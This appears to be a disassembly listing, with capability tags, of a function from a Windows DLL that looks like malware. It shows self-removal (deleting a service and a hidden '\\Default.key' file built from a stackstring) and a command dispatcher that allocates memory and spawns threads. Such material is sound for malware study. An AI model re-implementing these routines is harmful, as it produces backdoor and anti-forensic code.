Function at 0x10003ce0
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path
Terminate process

Disassembly:
sub esp, 0x114
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Rszqtw_uuhwujsu
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
lea edx, [esp + 0x10]
mov al, 0x65
push ecx
push edx
mov byte [esp + 8], 0x5c
mov byte [esp + 9], 0x44
mov byte [esp + 0xa], al
mov byte [esp + 0xb], 0x66
mov byte [esp + 0xc], 0x61
mov byte [esp + 0xd], 0x75
mov byte [esp + 0xe], 0x6c
mov byte [esp + 0xf], 0x74
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x6b
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x79
mov byte [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10003b60
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
push ebx
push ebp
mov ebp, dword [esp + 0xc]
xor eax, eax
push esi
push edi
mov al, byte [ebp]
mov ebx, ecx
cmp eax, 0x8d
ja case.0x10003db2.23
xor ecx, ecx
mov cl, byte [eax + 0x10004130]
jmp dword [ecx*4 + 0x100040d0]
mov esi, dword [esp + 0x18]
push 4
push 0x3000
lea edx, [esi - 1]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je case.0x10003db2.23
lea ecx, [esi - 1]
lea esi, [ebp + 1]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 1
push 0
and ecx, 3
push 0
push eax
rep movsb byte es:[edi], byte [esi]
push 0x10002ac0
jmp 0x100040a4
mov esi, dword [esp + 0x18]
push 4
push 0x3000
lea edx, [esi - 1]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je case.0x10003db2.23
lea ecx, [esi - 1]
lea esi, [ebp + 1]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 1
push 0
and ecx, 3
push 0
push eax
rep movsb byte es:[edi], byte [esi]
push 0x10002a10
jmp 0x100040a4
push 1
push 0
push 0
push 0
push 0x100026a0
push 0
push 0
call fcn.10008140
mov edx, dword [ebx + 4]
push 0
push 0
push 0
mov eax, dword [edx + 0x48]
push eax
push 0x10002c20
push 0
push 0
call fcn.10008140
mov ecx, dword [ebx + 0xfb0]
add esp, 0x38
mov dword [ebx + ecx*4 + 0x10], eax
mov ecx, dword [ebx + 0xfb0]
inc ecx
push 0xa
mov dword [ebx + 0xfb0], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov edx, dword [ebx + 4]
push 0
push 0
push 0
mov eax, dword [edx + 0x48]
push eax
push 0x10002ce0
jmp 0x100040a4
xor edx, edx
mov dl, byte [ebp + 1]
push edx
call fcn.10002da0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret 8
inc ebp
push ebp
push str.Rszqtw_uuhwujsu
call fcn.10003010
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
inc ebp
push ebp
push str.Rszqtw_uuhwujsu
call fcn.10003050
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0
push 0
inc ebp
push 0
push ebp
push 0x10003810
push 0
push 0
call fcn.10008140
mov ecx, dword [ebx + 0xfb0]
add esp, 0x1c
mov dword [ebx + ecx*4 + 0x10], eax
mov ecx, dword [ebx + 0xfb0]
inc ecx
push 0x64
mov dword [ebx + 0xfb0], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebp
pop ebx
ret 8
inc ebp
push 1
push ebp
call fcn.100035c0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
inc ebp
push 0
push ebp
call fcn.100035c0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov ecx, ebx
call fcn.10003ce0
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov edx, dword [esp + 0x18]
push edx
push ebp
call fcn.10003350
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [ebx + 4]
push eax
push ebp
call fcn.10003590
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov ecx, dword [ebx + 4]
push ecx
push ebp
call fcn.10003540
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 8
inc ebp
push ebp
call fcn.10003970
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 1
push 0
inc ebp
push 0
push ebp
push 0x100038e0
push 0
push 0
call fcn.10008140
mov edx, dword [ebx + 0xfb0]
add esp, 0x1c
mov dword [ebx + edx*4 + 0x10], eax
mov eax, dword [ebx + 0xfb0]
inc eax
pop edi
pop esi
mov dword [ebx + 0xfb0], eax
pop ebp
pop ebx
ret 8
push 1
push 0
inc ebp
push 0
push ebp
push 0x10002dd0
jmp 0x100040a4
mov edx, dword [ebx + 4]
push 1
push 0
push 0
push edx
push 0x10002ae0
jmp 0x100040a4
call fcn.10002bf0
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov esi, dword [esp + 0x18]
push 4
push 0x3000
lea edx, [esi - 2]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je case.0x10003db2.23
lea ecx, [esi - 2]
lea esi, [ebp + 2]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov cl, byte [ebp + 1]
push ecx
push 0x10013460
push eax
call fcn.10002a30
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov dl, byte [ebp + 1]
push edx
call fcn.10002e20
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret 8
inc ebp
push ebp
call fcn.100028b0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0
push 0
inc ebp
push 0
push ebp
push 0x100039f0
push 0
push 0
call fcn.10008140
mov ecx, dword [ebx + 0xfb0]
add esp, 0x1c
mov dword [ebx + ecx*4 + 0x10], eax
mov eax, dword [ebx + 0xfb0]
inc eax
mov dword [ebx + 0xfb0], eax
pop edi
pop esi
pop ebp
pop ebx
ret 8